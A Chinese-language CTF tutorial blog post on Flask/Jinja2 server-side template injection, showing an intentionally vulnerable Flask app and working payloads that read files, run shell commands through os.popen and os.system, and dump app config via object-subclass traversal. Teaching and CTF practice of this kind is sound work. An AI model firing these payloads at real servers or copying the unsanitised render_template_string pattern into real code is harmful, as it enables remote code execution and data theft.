CTF_Web:从0学习Flask模板注入(SSTI)

0x01 前言

最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架、不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入的相关知识,也是对自己学习的一个记录。

0x02 Flask简介

Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。优点就在于开发简单,代码量少,很多工作都在框架中被实现了。他与Django不同于Django是一个全能型框架,通常用于编写大型的网站。
而jinjia2、template、Mako等等都属于为框架提供功能支持的引擎,各有优缺点,也不是我们主要学习的内容。但我们要知道Flask默认使用的引擎为jinjia2,本文也会主要分析jinjia2中的注入问题。
首先配置flask与jinjia2引擎环境:

pip3 install flask
pip3 install jinjia2

这时使用python -c "import flask"回显无报错信息,证明需要的环境已经安装完毕,下面从一个最简单的flask例子开始学起。

0x03 简单的Flask例子

#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__)  # 创建FLask类
@app.route("/")  #设置的默认路由
def index(): #默认的视图函数,与路由绑定,用来处理用户访问网站跟目录/时的情况
    name = request.args.get('name', 'guest')#接受参数名为name 的参数传入
    html = '''
    

your input %s

'''%name #设置一个模板html,将name的值以%s输出 return render_template_string(html) #将html以字符串模板的形式渲染 #对应的,当html是一个文件时,使用render_template 函数来渲染一个指定的文件 if __name__=='__main__': #作为主文件启动时 app.run(debug = True) #以debug模式运行

通过对上面简单例子的注释解释,可以看出,一个完整简单的Flask框架,由一个或很多个路由(route)、绑定的视图函数组成,而视图函数则用来对用户访问的这个路由进行处理,包括接收参数、创建模板、渲染,等等操作,对我们来说,容易出现问题的就在于render渲染的过程中没有对用户的输入进行限制与过滤,导致恶意的代码被注入,执行了用户输入的代码。
当需要不断的修改代码时,建议开启debug模式,否则每次修改都需要重新启动py文件,比较麻烦,启动debug模式使用下面的语句。

app.debug = True
或者
app.run(debug=True)

上面这个例子运行后,会在localhost:5000返回默认的页面,如图所示:
CTF_Web:从0学习Flask模板注入(SSTI)_第1张图片
CTF_Web:从0学习Flask模板注入(SSTI)_第2张图片

当传入参数name时,会被Template创建模板后渲染为页面展示的内容。
例如传入 name=AFCC_
CTF_Web:从0学习Flask模板注入(SSTI)_第3张图片

下面我们将对jinjia2引擎中的语法进行介绍,并描述如果用户输入没有经过限制将会造成的危害。

0x04 jinjia2引擎注入测试和常用payload

在jinjia2引擎中:

{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

我们在平常的测试中最常用的就是{{}},测试是否将花括号中的值是否可控且被模板渲染。
例如{{7*7}}{{7*'7'}},其返回分别为:
CTF_Web:从0学习Flask模板注入(SSTI)_第4张图片CTF_Web:从0学习Flask模板注入(SSTI)_第5张图片
由此可见用户在{{}}中的输入被引擎视为新的变量从而进行渲染,这时就满足了代码执行、输入可控的基本条件。
这里首先了解一下模板中的几个重要类和属性,便于后续调用指定的敏感模块。
首先是

__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

我们逐个测试一下返回的内容。
首先是__class__,这里使用空字符串来做内容'',传入{{''.__class__}}
CTF_Web:从0学习Flask模板注入(SSTI)_第6张图片返回了字符串对象,接着使用__mro____base__获取字符串对象的基类。
CTF_Web:从0学习Flask模板注入(SSTI)_第7张图片CTF_Web:从0学习Flask模板注入(SSTI)_第8张图片这里可见__base__返回的是当前类的直接继承类,而__mro__则返回当前类继承的元组,包含了多个类。
所以我们选择直接继承类为object的对象,使用{{[].__class__.__base__}},此时会直接返回object
CTF_Web:从0学习Flask模板注入(SSTI)_第9张图片

我们在多个基类中选择object类,可以看到该基类中有着很多子类。
CTF_Web:从0学习Flask模板注入(SSTI)_第10张图片我们想要使用的,有如下几个利用点:

一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

1.file模块

通过索引找到file模块,使用read功能读取文件。

{{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}

CTF_Web:从0学习Flask模板注入(SSTI)_第11张图片

2.os模块

CTF_Web:从0学习Flask模板注入(SSTI)_第12张图片CTF_Web:从0学习Flask模板注入(SSTI)_第13张图片
这里的[60]就是warnings.catch_warnings
[133]就是socket._socketobject,可以看到里面os都未导入。
在这里使用__builtins__中的eval函数导入os模块来执型命令。

{{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}

在Linux中返回(Linux中157warnings.catch_warnings


通过查找,内置os直接可以使用的是如下两个模块。
[72]site._Printer
[77]site.Quitter
这里使用os.system执行命令。

{{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}

浏览器返回0,代表执行成功,但在调试信息中可以看到执行的结果
CTF_Web:从0学习Flask模板注入(SSTI)_第14张图片

当然环境的差异也会使索引的值不一样,所以需要脚本帮助我们判断当前环境的索引值。
最方便的当然是直接使用已经有os模块的类来执行命令。
这里将获取的所有子类赋值给list,经过处理后找到需要的模块。
(脚本来自二算i)

def find():
    list = ""
    list = list.replace('\'','')
    list = list.replace('<','')
    list = list.replace('>','')
    list = list.replace('class ','')
    list = list.replace('enum ','')
    list = list.replace('type ','')
    list = list.replace(' ','')
    list = list.split(',')
    print(list)
    className = 'warnings.catch_warnings' #需要查找的模块名称
    num = list.index(className)
    print(num) #返回索引
if __name__ == '__main__':
    find()

3.get_flashed_messages() 获取闪现信息

使用{{get_flashed_messages.__globals__}}获取全局信息,这里可以看到许多敏感信息,但这个函数名称也告诉我们只是可以获取信息而已,并不能像上面一样进行模块的利用和执行,这里代表这个app本身的值为current_app
CTF_Web:从0学习Flask模板注入(SSTI)_第15张图片使用config获取配置信息,当然这里的config可以直接获取,在某些时候被过滤时可以使用这种方式。(攻防世界Web_shrine)

get_flashed_messages.__globals__['current_app'].config

在这里插入图片描述

0x05 参考文章

SSTI模板注入
python学习笔记(了解Flask、jinjia2引擎)
Flask模板注入
Flask-SSTI注意事项以及一些POC

你可能感兴趣的:(CTF_Web,flask,python,web,unctf)